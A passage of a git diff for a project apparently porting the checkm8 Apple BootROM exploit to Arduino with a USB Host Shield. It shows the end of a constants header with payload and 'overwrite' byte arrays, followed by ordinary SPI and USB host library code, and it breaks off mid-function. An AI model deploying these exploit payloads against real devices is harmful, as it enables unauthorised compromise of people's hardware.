0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x25, 0x06, 0x00, 0x80, 0x01, 0x00, 0x60, 0x00, 0xa5, 0x06, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, + 0xe1, 0x07, 0x61, 0xb2, 0x22, 0x80, 0x42, 0x91, 0x21, 0x94, 0x18, 0x91, 0x41, 0x00, 0x03, 0xf9, + 0xbf, 0x3f, 0x03, 0xd5, 0xa0, 0x01, 0x82, 0xd2, 0x00, 0x10, 0x18, 0xd5, 0x9f, 0x3f, 0x03, 0xd5, + 0xdf, 0x3f, 0x03, 0xd5, 0xc0, 0x03, 0x5f, 0xd6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x4c, 0xcc, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x10, 0x08, 0x0b, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x4c, 0xcc, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x20, 0x08, 0x0b, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x4c, 0xcc, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x30, 0x08, 0x0b, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x4c, 0xcc, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x40, 0x08, 0x0b, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x4c, 0xcc, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0xa0, 0x08, 0x0b, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x00, 0x06, 0x0b, 0x80, 0x01, 0x00, 0x00, 0x00, 0x6c, 0x04, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x78, 0x04, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xb8, 0xa4, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x0b, 0x80, 0x01, 0x00, 0x00, 0x00, 0xe4, 0x03, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x34, 0x04, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, + 0x4c, 0xcc, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0xb0, 0x08, 0x0b, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x4c, 0xcc, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0xc0, 0x08, 0x0b, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x4c, 0xcc, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0xd0, 0x08, 0x0b, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x4c, 0xcc, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0xe0, 0x08, 0x0b, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x4c, 0xcc, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x06, 0x0b, 0x82, 0x01, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x0a, 0x80, 0x01, 0x00, 0x00, 0x00, 0xe4, 0x03, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x34, 0x04, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x14, 0xa5, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0b, 0x80, 0x01, 0x00, 0x00, 0x00 +}; + +const uint8_t overwrite[] PROGMEM = { + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x6c, 0xcc, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x08, 0x0b, 0x80, 0x01, 0x00, 0x00, 0x00, +}; + +#endif //CHECKM8_ARDUINO_CONSTANTS_H diff --git a/checkm8_arduino/lib/hostshield/SPI.cpp b/checkm8_arduino/lib/hostshield/SPI.cpp new file mode 100644 index 0000000..af14e07 --- /dev/null +++ b/checkm8_arduino/lib/hostshield/SPI.cpp @@ -0,0 +1,201 @@ +/* + * Copyright (c) 2010 by Cristian Maglie + * Copyright (c) 2014 by Paul Stoffregen (Transaction API) + * Copyright (c) 2014 by Matthijs Kooijman (SPISettings AVR) + * Copyright (c) 2014 by Andrew J. Kroll (atomicity fixes) + * SPI Master library for arduino. + * + * This file is free software; you can redistribute it and/or modify + * it under the terms of either the GNU General Public License version 2 + * or the GNU Lesser General Public License version 2.1, both as + * published by the Free Software Foundation. + */ + +#include "SPI.h" + +SPIClass SPI; + +uint8_t SPIClass::initialized = 0; +uint8_t SPIClass::interruptMode = 0; +uint8_t SPIClass::interruptMask = 0; +uint8_t SPIClass::interruptSave = 0; +#ifdef SPI_TRANSACTION_MISMATCH_LED +uint8_t SPIClass::inTransactionFlag = 0; +#endif + +void SPIClass::begin() +{ + uint8_t sreg = SREG; + noInterrupts(); // Protect from a scheduler and prevent transactionBegin + if (!initialized) { + // Set SS to high so a connected chip will be "deselected" by default + uint8_t port = digitalPinToPort(SS); + uint8_t bit = digitalPinToBitMask(SS); + volatile uint8_t *reg = portModeRegister(port); + + // if the SS pin is not already configured as an output + // then set it high (to enable the internal pull-up resistor) + if(!(*reg & bit)){ + digitalWrite(SS, HIGH); + } + + // When the SS pin is set as OUTPUT, it can be used as + // a general purpose output port (it doesn't influence + // SPI operations). + pinMode(SS, OUTPUT); + + // Warning: if the SS pin ever becomes a LOW INPUT then SPI + // automatically switches to Slave, so the data direction of + // the SS pin MUST be kept as OUTPUT. + SPCR |= _BV(MSTR); + SPCR |= _BV(SPE); + + // Set direction register for SCK and MOSI pin. + // MISO pin automatically overrides to INPUT. + // By doing this AFTER enabling SPI, we avoid accidentally + // clocking in a single bit since the lines go directly + // from "input" to SPI control. + // http://code.google.com/p/arduino/issues/detail?id=888 + pinMode(SCK, OUTPUT); + pinMode(MOSI, OUTPUT); + } + initialized++; // reference count + SREG = sreg; +} + +void SPIClass::end() { + uint8_t sreg = SREG; + noInterrupts(); // Protect from a scheduler and prevent transactionBegin + // Decrease the reference counter + if (initialized) + initialized--; + // If there are no more references disable SPI + if (!initialized) { + SPCR &= ~_BV(SPE); + interruptMode = 0; + #ifdef SPI_TRANSACTION_MISMATCH_LED + inTransactionFlag = 0; + #endif + } + SREG = sreg; +} + +// mapping of interrupt numbers to bits within SPI_AVR_EIMSK +#if defined(__AVR_ATmega32U4__) + #define SPI_INT0_MASK (1<epinfo) + return NULL; + + EpInfo *pep = p->epinfo; + + for(uint8_t i = 0; i < p->epcount; i++) { + if((pep)->epAddr == ep) + return pep; + + pep++; + } + return NULL; +} + +/* set device table entry */ + +/* each device is different and has different number of endpoints. This function plugs endpoint record structure, defined in application, to devtable */ +uint8_t USB::setEpInfoEntry(uint8_t addr, uint8_t epcount, EpInfo* eprecord_ptr) { + if(!eprecord_ptr) + return USB_ERROR_INVALID_ARGUMENT; + + UsbDevice *p = addrPool.GetUsbDevicePtr(addr); + + if(!p) + return USB_ERROR_ADDRESS_NOT_FOUND_IN_POOL; + + p->address.devAddress = addr; + p->epinfo = eprecord_ptr; + p->epcount = epcount; + + return 0; +} + +uint8_t USB::SetAddress(uint8_t addr, uint8_t ep, EpInfo **ppep, uint16_t *nak_limit) { + UsbDevice *p = addrPool.GetUsbDevicePtr(addr); + + if(!p) + return USB_ERROR_ADDRESS_NOT_FOUND_IN_POOL; + + if(!p->epinfo) + return USB_ERROR_EPINFO_IS_NULL; + + *ppep = getEpInfoEntry(addr, ep); + + if(!*ppep) + return USB_ERROR_EP_NOT_FOUND_IN_TBL; + + *nak_limit = (0x0001UL << (((*ppep)->bmNakPower > USB_NAK_MAX_POWER) ? USB_NAK_MAX_POWER : (*ppep)->bmNakPower)); + (*nak_limit)--; + /* + USBTRACE2("\r\nAddress: ", addr); + USBTRACE2(" EP: ", ep); + USBTRACE2(" NAK Power: ",(*ppep)->bmNakPower); + USBTRACE2(" NAK Limit: ", nak_limit); + USBTRACE("\r\n"); + */ + regWr(rPERADDR, addr); //set peripheral address + + uint8_t mode = regRd(rMODE); + + //Serial.print("\r\nMode: "); + //Serial.println( mode, HEX); + //Serial.print("\r\nLS: "); + //Serial.println(p->lowspeed, HEX); + + + + // Set bmLOWSPEED and bmHUBPRE in case of low-speed device, reset them otherwise + regWr(rMODE, (p->lowspeed) ? mode | bmLOWSPEED | bmHubPre : mode & ~(bmHUBPRE | bmLOWSPEED)); + + return 0; +} + +/* Control transfer. Sets address, endpoint, fills control packet with necessary data, dispatches control packet, and initiates bulk IN transfer, */ +/* depending on request. Actual requests are defined as inlines */ +/* return codes: */ +/* 00 = success */ + +/* 01-0f = non-zero HRSLT */ +uint8_t USB::ctrlReq(uint8_t addr, uint8_t ep, 